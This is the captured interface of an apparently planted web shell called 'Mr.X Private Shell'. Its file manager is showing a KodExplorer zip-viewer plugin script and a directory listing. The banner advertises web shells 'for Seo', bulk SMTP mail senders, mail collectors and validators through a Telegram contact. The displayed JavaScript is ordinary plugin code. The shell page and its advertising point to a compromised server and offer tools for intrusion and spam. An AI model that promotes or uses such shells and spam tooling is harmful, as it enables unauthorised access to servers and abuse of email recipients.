__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
kodReady.push(function(){
	var apiView = function(){
		var url = '{{pluginApi}}unzipList&accessToken='+G.accessToken
		if (typeof(G.sid) != 'undefined') {
			url = '{{pluginApi}}unzipList&user='+G.user+'&sid='+G.sid;
		}
		return url;
	}

	//测试 替换分享链接地址;
	// Hook.bind('explorer.path.share.uiInitStart',function(){
	// 	G.appHostTemp = G.appHost;
	// 	G.appHost = "http://test.com/";
	// 	console.log(G.appHost);
	// });
	// Hook.bind('explorer.path.share.uiInit',function(){
	// 	G.appHost = G.appHostTemp;
	// });


	kodApp.add({
		name:"zipView",
		title:"{{LNG.Plugin.default.zipView}}",
		ext:"{{config.fileExt}}",
		sort:"{{config.fileSort}}",
		icon:"{{pluginHost}}static/images/icon.png",
		callback:function(path,ext){
			//分享内容暂不支持查看内容
			if (typeof(G.sharePage) != 'undefined' && G.sid) {
				kodApp.openUnknow(path);
				return;
			}
			var appOption = {
				filePath:path,
				apiUnzip:G.appHost+"explorer/unzip",
				apiList:apiView()
			}
			require.async([
				'lib/ztree/ztree',
				'{{pluginHost}}static/zipView.js'
			],function(tree,zipView){
				new zipView(appOption);
			});
		}
	});
	require.async('{{pluginHost}}static/page.js');
});

Filemanager

Name Type Size Permission Actions
images Folder 6775
main.js File 1.18 KB 0775
page.js File 3.22 KB 0775
zipView.js File 17.86 KB 0775
Filemanager